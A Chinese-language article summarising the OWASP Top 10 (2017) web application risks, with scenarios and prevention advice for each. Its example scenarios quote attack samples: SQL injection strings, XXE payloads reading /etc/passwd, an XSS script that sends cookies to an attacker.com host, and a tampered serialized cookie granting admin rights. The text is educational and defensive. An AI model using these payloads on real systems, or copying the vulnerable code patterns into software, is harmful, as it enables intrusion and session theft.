Web漏洞總結: OWASP Top 10
本文原創，更多內容可以參考： Java 全棧知識體系。如需轉載請說明原處。
開發安全 - OWASP Top 10
在學習安全需要總體瞭解安全趨勢和常見的Web漏洞，首推瞭解OWASP，因為它代表著業內Web安全漏洞的趨勢。@pdai
OWASP簡介
OWASP（開放式web應用程式安全專案）關注web應用程式的安全。OWASP這個專案最有名的，也許就是它的"十大安全隱患列表"。這個列表不但總結了web應用程式最可能、最常見、最危險的十大安全隱患，還包括瞭如何消除這些隱患的建議。（另外，OWASP還有一些輔助專案和指南來幫助IT公司和開發團隊來規範應用程式開發流程和測試流程，提高web產品的安全性。）這個"十大"差不多每隔三年更新一次。
本文總結自：www.owasp.org.cn - 2017 - 10項最嚴重的 Web 應用程式安全風險
OWASP Top 10: 2013版至2017版改變了哪些內容
在過去的幾年中，應用程式的基礎技術和結構發生了重大變化：
- 使用node.js和Spring Boot構建的微服務正在取代傳統的單任務應用，微服務本身具有自己的安全挑戰，包括微服務間互信、容器
工具、保密管理等等。原來沒人期望程式碼要實現基於網際網路的房屋，而現在這些程式碼就在API或RESTful服務的後面，提供給移動
應用或單頁應用（SPA）的大量使用。程式碼構建時的假設，如受信任的呼叫等等，再也不存在了。 - 使用JavaScript框架（如：Angular和React）編寫的單頁應用程式，允許建立高度模組化的前端使用者體驗；原來交付伺服器端處理的功能現在變為由客戶端處理，但也帶來了安全挑戰。
- JavaScript成為網頁上最基本的語言。Node.js執行在伺服器端，採用現代網頁框架的Bootstrap、Electron、Angular和React則運
行在客戶端。
OWASP Top 10
A1:2017-注入
將不受信任的資料作為命令或查詢的一部分發送到解析器時，會產生諸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。攻擊者的惡意資料可以誘使解析器在沒有適當授權的情況下執行非預期命令或訪問資料。
知識點簡介
一些常見的注入，包括：SQL、OS命令、ORM、LDAP和表示式語言（EL）或OGNL注入。所有直譯器的概念都是相同的。程式碼評審是最有效的檢測應用程式的注入風險的辦法之一，緊隨其後的是對所有引數、欄位、頭、cookie、JSON和XML資料輸入的徹底的DAST掃描。組織可以將SAST和DAST工具新增到CI/CD過程中，以便於在生產部署之前對現有或新檢查的程式碼進行注入問題的預警。
案例場景
- 場景#1：應用程式在下面存在脆弱性的SQL語句的構造中使用不可信資料：
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";- 場景#2：同樣的，框架應用的盲目信任，仍然可能導致查詢語句的漏洞。（例如：Hibernate查詢語言（HQL））：
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");在這兩個案例中，攻擊者在瀏覽器中將“id”引數的值修改成： 'or'1'='1。例如：
http://example.com/app/accountView?id=' or '1'='1
這樣查詢語句的意義就變成了從accounts表中返回所有的記錄。更危險的攻擊可能導致資料被篡改甚至是儲存過程被呼叫。
如何防止?
- 防止注入漏洞需要將資料與命令語句、查詢語句分隔開來。
- 最佳選擇是使用安全的API，完全避免使用直譯器，或提供引數化介面的介面，或遷移到ORM或實體框架。
- 注意：當引數化時，儲存過程仍然可以引入SQL注入，如果PL/SQL或T-SQL將查詢和資料連線在一起，或者執行帶有立即執行或exec()的惡意資料。
- 使用正確的或“白名單”的具有恰當規範化的輸入驗證方法同樣會有助於防止注入攻擊，但這不是一個完整的防禦，因為許多應用程式在輸入中需要特殊字元，例如文字區域或移動應用程式的API。
- 對於任何剩餘的動態查詢，可以使用該直譯器的特定轉義語法轉義特殊字元。OWASP的Java Encoder和類似的庫提供了這樣的轉義例程。
- 注意：SQL結構，比如：表名、列名等無法轉義，因此使用者提供的結構名是非常危險的。這是編寫軟體中的一個常見問題。
- 在查詢中使用LIMIT和其他SQL控制元件，以防止在SQL注入時大量地洩露記錄。
A2:2017-失效的身份認證
通常，通過錯誤使用應用程式的身份認證和會話管理功能，攻擊者能夠破譯密碼、金鑰或會話令牌，或者利用其它開發缺陷來暫時性或永久性冒充其他使用者的身份。
知識點簡介
確認使用者的身份、身份驗證和會話管理非常重要，這些措施可用於將惡意的未經身份驗證的攻擊者與授權使用者進行分離。如果您的應用程式存在如下問題，那麼可能存在身份驗證的脆弱性：
- 允許密碼填充，這使得攻擊者獲得有效使用者名稱和密碼的列表。
- 允許暴力破解或其他自動攻擊。
- 允許預設的、弱的或眾所周知的密碼，例如“Password1”或“admin/admin”。
- 使用弱的或失效的驗證憑證，忘記密碼程式，例如“基於知識的答案”，這是不安全的。
- 使用明文、加密或弱雜湊密碼（參見：A3:2017-敏感資料洩露）。
- 缺少或失效的多因素身份驗證。
- 暴露URL中的會話ID（例如URL重寫）。
- 在成功登入後不會更新會話ID。
- 不正確地使會話ID失效。當用戶不活躍的時候，使用者會話或認證令牌（特別是單點登入（SSO）令牌）沒有正確登出或失效。
案例場景
- 場景#1：
憑證填充，使用已知密碼的列表，是常見的攻擊。如果應用程式不限制身份驗證嘗試，則可以將應用程式用作密碼oracle，以確定憑證是否有效。
- 場景#2：
大多數身份驗證攻擊都是由於使用密碼作為唯一的因素。依據最佳實踐，最新的密碼輪換和複雜性要求鼓勵使用者使用、重用以及重用弱密碼。建議組織NIST-800-63中停止這些實踐，並使用多因素身份驗證。
- 場景#3：
應用會話超時設定不正確。使用者使用公共計算機訪問應用程式。使用者直接關閉瀏覽器選項卡就離開，而不是選擇“登出”。攻擊者一小時後使用同一個瀏覽器瀏覽網頁，而當前使用者狀態仍然是經過身份驗證的。
如何防止?
在可能的情況下，實現多因素身份驗證，以防止自動、憑證填充、暴力破解和被盜憑據再利用攻擊。
- 不要使用傳送或部署預設的憑證，特別是管理員使用者。
- 執行弱密碼檢查，例如測試新或變更的密碼，以糾正“排名前10000個弱密碼” 列表。
- 將密碼長度、複雜性和迴圈策略與NIST-800-63 B的指導方針的記住祕密，或其他現代的基於證據的密碼策略相一致。
- 確認註冊、憑據恢復和API路徑，通過對所有輸出結果使用相同的訊息，用以抵禦賬戶列舉攻擊。
- 限制或逐漸延遲失敗的登入嘗試。記錄所有失敗資訊並在憑據填充、暴力破解或其他攻擊被檢測時提醒管理員。
- 使用伺服器端安全的內建會話管理器，在登入後生成高度複雜的新隨機會話ID。會話ID不能在URL中，可以安全地儲存和當登出、閒置、絕對超時後使其失效。
A3:2017-敏感資料洩露
許多Web應用程式和API都無法正確保護敏感資料，例如：財務資料、醫療資料和PII資料。攻擊者可以通過竊取或修改未加密的資料來實施信用卡詐騙、身份盜竊或其他犯罪行為。未加密的敏感資料容易受到破壞，因此，我們需要對敏感資料加密，這些資料包括：傳輸過程中的資料、儲存的資料以及瀏覽器的互動資料。
知識點簡介
首先你需要確認的是哪些資料是敏感資料（包含：傳輸過程中的資料、儲存資料）而需要被加密。例如：密碼、信用卡卡號、醫療記錄、個人資訊應該被加密，特別是隱私法律或條例中規定需要加密的資料，如：歐盟《通用資料保護條例》（GDPR）、 屬於“金融資料保護條例”的《支付卡行業資料安全標準》（PICDSS）。對於這些資料，要確定：
- 在資料傳輸過程中是否使用明文傳輸? 這和傳輸協議相關，如：HTTP、SMTP和FTP。外部網路流量非常危險。驗證所有的內部通訊，如：負載平衡器、Web伺服器或後端系統之間的通訊。
- 當資料被長期儲存時，無論儲存在哪裡，它們是否都被加密，包含備份資料?
- 無論預設條件還是原始碼中，是否還在使用任何舊的或脆弱的加密演算法?
- 是否使用預設加密金鑰，生成或重複使用脆弱的加密金鑰，或者缺少恰當的金鑰管理或金鑰迴轉?
- 是否強制加密敏感資料，例如：使用者代理（如：瀏覽器）指令和傳輸協議是否被加密?
- 使用者代理（如：應用程式、郵件客戶端）是否未驗證伺服器端證書的有效性?
案例場景
- 場景 #1：
一個應用程式使用自動化的資料加密系統加密信用卡資訊，並存儲在資料庫中。但是，當資料被檢索時被自動解密，這就使得SQL注入漏洞能夠以明文形式獲得所有信用卡卡號。
- 場景 #2：
一個網站上對所有網頁沒有使用或強制使用TLS，或者使用弱加密。攻擊者通過監測網路流量（如：不安全的無線網路），將網路連線從HTTPS降級到HTTP，就可以擷取請求並竊取使用者會話cookie。 之後，攻擊者可以複製使用者cookie併成功劫持經過認證的使用者會話、訪問或修改使用者個人資訊。除此之外，攻擊者還可以更改所有傳輸過程中的資料，例如：轉款的接接收者。
- 場景 #3：
密碼資料庫使用未加鹽的雜湊演算法或弱雜湊演算法去儲存每個人的密碼。一個檔案上傳漏洞使黑客能夠獲取密碼檔案。所有這些未加鹽雜湊的密碼通過彩虹表暴力破解方式破解。 由簡單或快速雜湊函式生成加鹽的雜湊，也可以通過GPU破解。
如何防止?
對一些需要加密的敏感資料，應該起碼做到以下幾點：
- 對系統處理、儲存或傳輸的資料分類，並根據分類進行訪問控制。
- 熟悉與敏感資料保護相關的法律和條例，並根據每項法規要求保護敏感資料。
- 對於沒必要存放的、重要的敏感資料，應當儘快清除，或者通過PCI DSS標記或攔截。未儲存的資料不能被竊取。
- 確保儲存的所有敏感資料被加密。
- 確保使用了最新的、強大的標準演算法或密碼、引數、協議和密匙，並且金鑰管理到位。
- 確保傳輸過程中的資料被加密，如：使用TLC。確保資料加密被強制執行，如：使用HTTP嚴格安全傳輸協議（HSTS ）。
- 禁止快取對包含敏感資料的響應。
- 確保使用密碼專用演算法儲存密碼，如：Argon2 、 scrypt 、bcrypt 或者PBKDF2 。將工作因素（延遲因素）設定在可接受範圍。
- 單獨驗證每個安全配置項的有效性。
A4:2017-XML 外部實體（XXE）
許多較早的或配置錯誤的XML處理器評估了XML檔案中的外部實體引用。攻擊者可以利用外部實體竊取使用URI檔案處理器的內部檔案和共享檔案、監聽內部掃描埠、執行遠端程式碼和實施拒絕服務攻擊。
知識點簡介
應用程式和特別是基於XML的Web服務或向下整合，可能在以下方面容易受到攻擊：
- 您的應用程式直接接受XML檔案或者接受XML檔案上傳，特別是來自不受信任源的檔案，或者將不受信任的資料插入XML檔案，並提交給XML處理器解析。
- 在應用程式或基於Web服務的SOAP中，所有XML處理器都啟用了文件型別定義（DTDs）。因為禁用DTD程序的確切機制因處理器而不同，更多資料請參考：《 OWASP Cheat Sheet ‘XXE Prevention‘ 》。
- 如果為了實現安全性或單點登入（SSO），您的應用程式使用SAML進行身份認證。而SAML使用XML進行身份確認，那麼您的應用程式就容易受到XXE攻擊。
- 如果您的應用程式使用第1.2版之前的SOAP，並將XML實體傳遞到SOAP框架，那麼它可能受到XXE攻擊。
- 存在XXE缺陷的應用程式更容易受到拒絕服務攻擊，包括：Billion Laughs 攻擊。
案例場景
大量XXE缺陷已經被發現並被公開，這些缺陷包括嵌入式裝置的XXE缺陷。 XXE缺陷存在於許多意想不到的地方，這些地方包括深巢狀的依賴項。最簡單的方法是上傳可被接受的惡意XML檔案：
- 場景 #1：攻擊者嘗試從服務端提取資料：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>- 場景 #2：攻擊者通過將上面的實體行更改為以下內容來探測伺服器的專用網路：
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>- 場景 #3：攻擊者通過惡意檔案執行拒絕服務攻擊：
<!ENTITY xxe SYSTEM "file:///dev/random" >]>如何防止?
開發人員培訓是識別和減少XXE缺陷的關鍵，此外，防止XXE 缺陷還需要：
- 儘可能使用簡單的資料格式（如：JSON），避免對敏感資料進行序列化。
- 及時修復或更新應用程式或底層作業系統使用的所有XML處理器和庫。同時，通過依賴項檢測，將SOAP更新到1.2版本或更高版本。
- 參考《 OWASP Cheat Sheet ‘XXE Prevention‘ 》在應用程式的所有XML解析器中禁用XML外部實體和DTD程序。
- 在伺服器端實施積極的（“白名單”）輸入驗證、過濾和清理，以防止在XML文件、標題或節點中出現惡意資料。
- 驗證XML或XSL檔案上傳功能是否使用XSD驗證或其他類似驗證方法來驗證上傳的XML檔案。
- 儘管在許多整合環境中，手動程式碼審查是大型、複雜應用程式的最佳選擇，但是SAST 工具可以檢測原始碼中的XXE漏洞。如果無法實現這些控制，請考慮使用虛擬修復程式、API安全閘道器或Web應用程式防火牆（ WAF ）來檢測、監控和防止XXE攻
擊。
A5:2017-失效的訪問控制
未對通過身份驗證的使用者實施恰當的訪問控制。攻擊者可以利用這些缺陷訪問未經授權的功能或資料，例如：訪問其他使用者的帳戶、檢視敏感檔案、修改其他使用者的資料、更改訪問許可權等。
知識點簡介
訪問控制強制實施策略，使使用者無法在其預期的許可權之外執行行為。失敗的訪問控制通常導致未經授權的資訊洩露、修改或銷燬所有資料、或在使用者許可權之外執行業務功能。常見的訪問控制脆弱點包括：
- 通過修改 URL、內部應用程式狀態或 HTML 頁面繞過訪問控制檢查，或簡單地使用自定義的 API 攻擊工具。
- 允許將主鍵更改為其他使用者的記錄，例如檢視或編輯他人的帳戶。
- 特權提升。在不登入的情況下假扮使用者，或以使用者身份登入時充當管理員。
- 元資料操作，如重放或篡改 JWT 訪問控制令牌，或作以提升許可權的cookie 或隱藏欄位。
- CORS配置錯誤允許未授權的API訪問。
- 以未通過身份驗證的使用者身份強制瀏覽的通過身份驗證時才能看到的頁面、或作為標準使用者訪問具有相關許可權的頁面、或API沒有對POST、PUT和DELETE強制執行訪問控制。
案例場景
- 場景 #1：應用程式在訪問帳戶資訊的 SQL呼叫中使用了未經驗證的資料：
pstmt.setString(1，request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );攻擊者只需修改瀏覽器中的“acct”引數即可傳送他們想要的任何帳號資訊。如果沒有正確驗證，攻擊者可以訪問任何使用者的帳戶。
http://example.com/app/accountInfo?acct=notmyacct- 場景 #2：攻擊者僅強制瀏覽目標URL。管理員許可權是訪問管理頁面所必需的。
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo如果一個未經身份驗證的使用者可以訪問任何頁面，那麼這是一個缺陷。如果一個非管理員許可權的使用者可以訪問管理頁面，那麼這同樣也是一個缺陷。
如何防止?
訪問控制只有在受信伺服器端程式碼或沒有伺服器的 API 中有效，這樣這樣攻擊者才無法修改訪問控制檢查或元資料。
- 除公有資源外，預設情況下拒絕訪問。
- 使用一次性的訪問控制機制，並在整個應用程式中不斷重用它們，包括最小化CORS使用。
- 建立訪問控制模型以強制執行所有權記錄，而不是接受使用者建立、讀取、更新或刪除的任何記錄。
- 域訪問控制對每個應用程式都是唯一的，但業務限制要求應由域模型強制執行。
- 禁用 Web伺服器目錄列表，並確保檔案元資料（如：git）不存在於 Web的根目錄中。
- 記錄失敗的訪問控制，並在適當時向管理員告警（如：重複故障）。
- 對API和控制器的訪問進行速率限制，以最大限度地降低自動化攻擊工具的危害。
- 當用戶登出後，伺服器上的JWT令牌應失效。
開發人員和 QA人員應包括功能訪問控制單元和整合測試人員。
A6:2017 – 安全配置錯誤
安全配置錯誤是最常見的安全問題，這通常是由於不安全的預設配置、不完整的臨時配置、開源雲端儲存、錯誤的 HTTP 標頭配置以及包含敏感資訊的詳細錯誤資訊所造成的。因此，我們不僅需要對所有的作業系統、框架、庫和應用程式進行安全配置，而且必須及時修補和升級它們。
知識點簡介
您的應用程式可能受到攻擊，如果應用程式是：
- 應用程式棧堆的任何部分都缺少適當的安全加固，或者雲服務的許可權配置錯誤。
- 應用程式啟用或安裝了不必要的功能（例如：不必要的埠、服務、網頁、帳戶或許可權）。
- 預設帳戶的密碼仍然可用且沒有更改。
- 錯誤處理機制向用戶披露堆疊跟蹤或其他大量錯誤資訊。
- 對於更新的系統，禁用或不安全地配置最新的安全功能。
- 應用程式伺服器、應用程式框架（如：Struts、Spring、ASP.NET）、庫檔案、資料庫等沒有進行安全配置。
- 伺服器不傳送安全標頭或指令，或者未對伺服器進行安全配置。
- 您的應用軟體已過期或易受攻擊（參見A9：2017-使用含有已知漏洞的元件）。
缺少一個體系的、可重複的應用程式安全配置過程，系統將處於高風險中。
案例場景
- 場景#1：
應用程式伺服器附帶了未從產品伺服器中刪除的應用程式樣例。這些樣例應用程式具有已知的安全漏洞，攻擊者利用這些漏洞來攻擊伺服器。如果其中一個應用程式是管理員控制檯，並且沒有更改預設賬戶，攻擊者就可以通過預設密碼登入，從而接管伺服器。
- 場景#2：
目錄列表在伺服器端未被禁用。攻擊者發現他們很容易就能列出目錄列表。攻擊者找到並下載所有已編譯的Java類，他們通過反編譯來檢視程式碼。然後，攻擊者在應用程式中找到一個嚴重的訪問控制漏洞。
- 場景#3：
應用伺服器配置允許將詳細的錯誤信（如：堆疊跟蹤資訊）返回給使用者，這可能會暴露敏感資訊或潛在的漏洞，如：已知含有漏洞的元件的版本資訊。
- 場景#4：
雲服務向其他CSP使用者提供預設的網路共享許可權。這允許攻擊者訪問儲存在雲端的敏感資料。
如何防止?
應實施安全的安裝過程，包括：
- 一個可以快速且易於部署在另一個鎖定環境的可重複的加固過程。開發、質量保證和生產環境都應該進行相同配置，並且，在每個環境中使用不同的密碼。這個過程應該是自動化的，以儘量減少安裝一個新安全環境的耗費。
- 搭建最小化平臺，該平臺不包含任何不必要的功能、元件、文件和示例。移除或不安裝不適用的功能和框架。
- 檢查和修復安全配置項來適應最新的安全說明、更新和補丁，並將其作為更新管理過程的一部分，（參見A9：2017-使用含有已知漏洞的元件）。在檢查過程中，應特別注意雲端儲存許可權（如：S3桶許可權）。
- 一個能在元件和使用者間提供有效的分離和安全性的分段應用程式架構，包括：分段、容器化和雲安全組。
- 向客戶端傳送安全指令，如：安全標頭。
- 在所有環境中能夠進行正確安全配置和設定的自動化過程。
A7:2017 – 跨站指令碼（XSS）
當應用程式的新網頁中包含不受信任的、未經恰當驗證或轉義的資料時，或者使用可以建立 HTML或JavaScript 的瀏覽器 API 更新現有的網頁時，就會出現 XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執行指令碼，並劫持使用者會話、破壞網站或將使用者重定向到惡意站點。
知識點簡介
存在三種XSS型別，通常針對使用者的瀏覽器：
反射式XSS：應用程式或API包括未經驗證和未經轉義的使用者輸入，作為HTML輸出的一部分。一個成功的攻擊可以讓攻擊者在受害者的瀏覽器中執行任意的HTML和JavaScript。 通常，使用者將需要與指向攻擊者控制頁面的某些惡意連結進行互動，例如惡意漏洞網站，廣告或類似內容。
儲存式XSS：你的應用或者API將未淨化的使用者輸入儲存下來了，並在後期在其他使用者或者管理員的頁面展示出來。 儲存型XSS一般被認為是高危或嚴重的風險。
基於DOM的XSS：會動態的將攻擊者可控的內容加入頁面的JavaScript框架、單頁面程式或API存在這種型別的漏洞。理想的來說，你應該避免將攻擊者可控的資料傳送給不安全的JavaScriptAPI。
典型的XSS攻擊可導致盜取session、賬戶、繞過MFA、DIV替換、對使用者瀏覽器的攻擊（例如：惡意軟體下載、鍵盤記錄）以及其他使用者側的攻擊。
案例場景
場景#1：應用程式在下面HTML程式碼段的構造中使用未經驗證或轉義的不可信的資料：
(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC“) + "'>";攻擊者在瀏覽器中修改“CC” 引數為如下值：
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.這個攻擊導致受害者的會話ID被髮送到攻擊者的網站，使得攻擊者能夠劫持使用者當前會話。
注意：攻擊者同樣能使用跨站指令碼攻破應用程式可能使用的任何跨站請求偽造（CSRF）防禦機制。CSRF的詳細情況見2013年版中的A8項。
如何防止?
防止XSS需要將不可信資料與動態的瀏覽器內容區分開。這可以通過如下步驟實現：
- 使用設計上就會自動編碼來解決XSS問題的框架，如：Ruby 3.0或 React JS。瞭解每個框架的XSS保護的侷限性，並適當地處理未覆蓋的用例。
- 為了避免反射式或儲存式的XSS漏洞，最好的辦法是根據HTML輸出的上下文（包括：主體、屬性、JavaScript、CSS或URL）對所有不可信的HTTP請求資料進行恰當的轉義 。更多關於資料轉義技術的資訊見：《OWASP Cheat Sheet ‘XSS Prevention’》。
- 在客戶端修改瀏覽器文件時，為了避免DOM XSS攻擊，最好的選擇是實施上下文敏感資料編碼。如果這種情況不能避免，可以採用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》描述的類似上下文敏感的轉義技術應用於瀏覽器API。
- 使用內容安全策略（CSP）是對抗XSS的深度防禦策略。如果不存在可以通過本地檔案放置惡意程式碼的其他漏洞（例如：路徑遍歷覆蓋和允許在網路中傳輸的易受攻擊的庫），則該策略是有效的。
A8:2017 – 不安全的反序列化
不安全的反序列化會導致遠端程式碼執行。即使反序列化缺陷不會導致遠端程式碼執行，攻擊者也可以利用它們來執行攻擊，包括：重播攻擊、注入攻擊和特權升級攻擊。
知識點簡介
如果反序列化進攻者提供的敵意或者篡改過的物件將會使將應用程式和API變的脆弱。這可能導致兩種主要型別的攻擊：
- 如果應用中存在可以在反序列化過程中或者之後被改變行為的類，則攻擊者可以通過改變應用邏輯或者實現遠端程式碼執行攻擊。我們將其稱為物件和資料結構攻擊。
- 典型的資料篡改攻擊，如訪問控制相關的攻擊，其中使用了現有的資料結構，但內容發生了變化。
在應用程式中，序列化可能被用於:
- 遠端和程序間通訊（RPC / IPC）
- 連線協議、Web服務、訊息代理
- 快取/永續性
- 資料庫、快取伺服器、檔案系統
- HTTP cookie、HTML表單引數、API身份驗證令牌
案例場景
- 場景 #1：
一個React應用程式呼叫了一組Spring Boot微服務。作為功能性程式設計師，他們試圖確保他們的程式碼是不可變的。他們提出的解決方法是序列化使用者狀態，並在每次請求時來回傳遞。攻擊者注意到了“R00”Java物件簽名，並使用Java Serial Killer工具在應用伺服器上獲得遠端程式碼執行。
- 場景 #2：
一個PHP論壇使用PHP物件序列化來儲存一個“超級”cookie。該cookie包含了使用者的使用者ID、角色、密碼雜湊和其他狀態：
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}攻擊者更改序列化物件以授予自己為admin許可權：
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}如何防止?
唯一安全的架構模式是不接受來自不受信源的序列化物件，或使用只允許原始資料型別的序列化媒體。如果上述不可能的話，考慮使用下述方法：
- 執行完整性檢查，如：任何序列化物件的數字簽名，以防止惡意物件建立或資料篡改。
- 在建立物件之前強制執行嚴格的型別約束，因為程式碼通常被期望成一組可定義的類。繞過這種技術的方法已經被證明，所以完全依賴於它是不可取的。
- 如果可能，隔離執行那些在低特權環境中反序列化的程式碼。
- 記錄反序列化的例外情況和失敗資訊，如：傳入的型別不是預期的型別，或者反序列處理引發的例外情況。
- 限制或監視來自於容器或伺服器傳入和傳出的反序列化網路連線。
- 監控反序列化，當用戶持續進行反序列化時，對使用者進行警告。
A9:2017 –使用含有已知漏洞的元件
元件（例如：庫、框架和其他軟體模組）擁有和應用程式相同的許可權。如果應用程式中含有已知漏洞的元件被攻擊者利用，可能會造成嚴重的資料丟失或伺服器接管。同時，使用含有已知漏洞的元件的應用程式和API可能會破壞應用程式防禦、造成各種攻擊併產生嚴重影響。
知識點簡介
如果滿足下面的某個條件，那麼你的應用就易受此類攻擊：
- 如果你不知道所有使用的元件版本資訊（包括：服務端和客戶端）。這包括了直接使用的元件或其依賴的元件。
- 如果軟體易受攻擊，不再支援或者過時。這包括：OS、Web伺服器、應用程式伺服器、資料庫管理系統（DBMS）、應用程式、API和所有的元件、執行環境和庫。
- 如果你不會定期做漏洞掃描和訂閱你使用元件的安全公告。
- 如果你不基於風險並及時修復或升級底層平臺、框架和依賴庫。很可能發生這種情況：根據變更控制，每月或每季度進行升級，這使得組織在這段時間內會受到已修復但未修補的漏洞的威脅。
- 如果軟體工程師沒有對更新的、升級的或打過補丁的元件進行相容性測試。
- 如果你沒有對元件進行安全配置（請參考“A6:2017-安全配置錯誤”）。
案例場景
- 場景 #1：
很多時候元件都是以與應用相同的許可權執行的，這使得元件裡的缺陷可能導致各式各樣的問題。這些缺陷可能是偶然的（如：編碼錯誤），也可能是蓄意的（如：元件裡的後門）。下面是一些已被利用的漏洞：
- CVE-2017-5638，一個Struts2遠端執行漏洞。 可在服務端遠端執行程式碼，並已造成巨大的影響。
- 雖然物聯網（IoT）裝置一般難以通過打補丁來修復。但對之打補丁非常重要（如：醫療裝置）。
有些自動化工具能幫助攻擊者發現未打補丁的或配置不正確的系統。例如 ：Shodan IOT搜尋引擎能幫助你發現從2014年四月至今仍存在心臟出血漏洞的裝置。
如何防止?
應該制定一個補丁管理流程：
- 移除不使用的依賴、不需要的功能、元件、檔案和文件。
- 利用如 versions、DependencyCheck 、retire.js等工具來持續的記錄客戶端和伺服器端以及它們的依賴庫的版本資訊。持續監控如CVE 和 NVD等是否釋出已使用元件的漏洞資訊，可以使用軟體分析工具來自動完成此功能。訂閱關於使用元件安全漏洞的警告郵件。
- 僅從官方渠道安全的獲取元件，並使用簽名機制來降低元件被篡改或加入惡意漏洞的風險
- 監控那些不再維護或者不釋出安全補丁的庫和元件。如果不能打補丁，可以考慮部署虛擬補丁來監控、檢測或保護。每個組織都應該制定相應的計劃，對整個軟體生命週期進行監控、評審、升級或更改配置。
A10:2017 – 不足的日誌記錄和監控
不足的日誌記錄和監控，以及事件響應缺失或無效的整合，使攻擊者能夠進一步攻擊系統、保持持續性或轉向更多系統，以及篡改、提取或銷燬資料。大多數缺陷研究顯示，缺陷被檢測出的時間超過200天，且通常通過外部檢測方檢測，而不是通過內部流程或監控檢測。
知識點簡介
下列情況會導致不足的日誌記錄、檢測、監控和響應：
- 未記錄可審計性事件，如：登入、登入失敗和高額交易。
- 告警和錯誤事件未能產生或產生不足的和不清晰的日誌資訊。
- 沒有利用應用系統和API的日誌資訊來監控可疑活動。
- 日誌資訊僅在本地儲存。
- 沒有定義合理的告警閾值和制定響應處理流程。
- 滲透測試和使用DAST工具（如：OWASP ZAP）掃描沒有觸發告警
- 對於實時或準實時的攻擊，應用程式無法檢測、處理和告警。如果你的應用使得日誌資訊或告警資訊對使用者或者攻擊者可見，你就很容易遭受資訊洩露攻擊（請參考A3：2017-敏感資訊洩露）
案例場景
- 場景#1：
一個由小團隊運營的開源專案論壇軟體被攻擊者利用其內在漏洞攻陷了。 攻擊者設法刪除了包含下一個版本的內部原始碼倉庫以及所有論壇內容。 雖然程式碼可以恢復，但由於缺乏監控、日誌記錄和告警導致了更糟糕的結果。 由於此問題，該論壇軟體專案不再活躍。
- 場景#2：
攻擊者使用通用密碼進行使用者掃描並能獲取所有使用此密碼的賬戶。對於其他賬戶而言，將僅有一次失敗的登陸嘗試記錄。一段時間以後，攻擊者可以用另一個密碼再次進行此活動。
- 場景#3：
美國的一家大型零售商據內部使用惡意軟體分析沙箱做分析。 沙箱軟體檢測到了一些可能不需要的軟體，但沒有人響應此次檢測。 在一個境外銀行不正當的信用卡交易被檢測到之前，該沙箱軟體一直在產生告警資訊。
如何防止?
根據應用程式儲存或處理的資料的風險：:
- 確保所有登入、訪問控制失敗、輸入驗證失敗能夠被記錄到日誌中去，並保留足夠的使用者上下文資訊，以識別可疑或惡意帳戶，併為後期取證預留足夠時間。
- 確保日誌以一種能被集中日誌管理解決方案使用的形式生成
- 確保高額交易有完整性控制的審計資訊，以防止篡改或刪除，例如審計資訊儲存在只能進行記錄增加的資料庫表中。
- 建立有效的監控和告警機制，使可疑活動在可接受的時間內被發現和應對。
- 建立或採取一個應急響應機制和恢復計劃，例如：NIST 800-61 rev 2或更新版本。
目前已有商業的和開源的應用程式防護框架（例如：OWASP AppSensor）、Web應用防火牆（例如 ：Modsecurity with theOWASP Core Rule Set）、帶有自定義儀表盤和告警功能的日誌關聯軟體。
干係人如何做
開發人員下一步做什麼?
建立並使用可重複使用的安全流程和標準安全控制
無論您是剛接觸Web應用程式安全，還是已經非常熟悉各種安全風險，建立一個安全的Web應用程式或修復一個已存在的應用程式的任務都可能很困難。若您需要管理一個大型的應用程式系統群，那任務將十分艱鉅。
為幫助企業和開發人員以節省成本的方式降低應用程式的安全風險，OWASP建立了相當多的免費和開源的資源。您可以使用這些資源來解決您企業組織的應用程式安全問題。以下內容是OWASP為幫助企業組織建立安全的Web應用程式和API提供的一些資源。在下一頁中，我們將展示其它可以幫助企業用於檢查Web應用程式和介面安全性的OWASP資源。
安全測試人員下一步做什麼?
建立持續性的應用安全測試
安全編碼很重要。但驗證你想達到的安全性是否真實存在、是否正確、是否像我們想的那樣也很關鍵。應用程式安全測試的目標是提供這些證據。這項工作困難而複雜，敏捷和DevOps當前快速發展的過程給傳統的方法和工具帶來的極大的挑戰。因此，我們強烈建議你思考如何專注於整個應用程式組合中重要的地方，並且低成本高收益。
當前安全風險變化很快，每年進行一次的掃描或滲透測試的日子已經過去了。現代軟體開發需要在整個軟體開發生命週期中進行持續的應用安全測試。通過安全自動化來加強現有的開發管道並不會減緩開發速度。無論你選擇哪種方法，都需考慮一下每年隨著應用系統的規模倍增的定期測試、修復、複測並重新部署應用程式的成本。
企業組織下一步做什麼?
現在就啟動您的應用程式安全計劃
應用程式安全已經不再是一個選擇了。在日益增長的攻擊和監管的壓力下，企業組織必須建立一個有效的能力去確保應用程式和API的安全。由於在生產環境中的應用程式和APIs的程式碼行數驚人，許多企業組織都在努力處理數量巨大的漏洞。
OWASP建議這些企業組織建立一個應用程式安全計劃，深入瞭解並改善它們的應用程式組合的安全性。為了實現應用程式的安全性，需要企業組織中的不同部門之間有效地協同工作，這包括安全和審計、軟體開發、商業和執行管理。安全應該視覺化和可量化，讓所有不同角色的人都可以看到並理解企業組織的應用程式的安全態勢。通過消除或降低風險的方式專注於活動和結果，以幫助提高企業安全性。《OWASP SAMM》和資訊長的《OWASP應用安全指南》是這個列表中大多數關鍵活動的來源。
應用程式管理者下一步做什麼?
管理完整的應用程式生命週期
應用程式是人建立和維護的最複雜的系統之一。應用程式的IT管理應該由IT專家來完成，並且由專家們負責應用程式的整個IT生命週期。
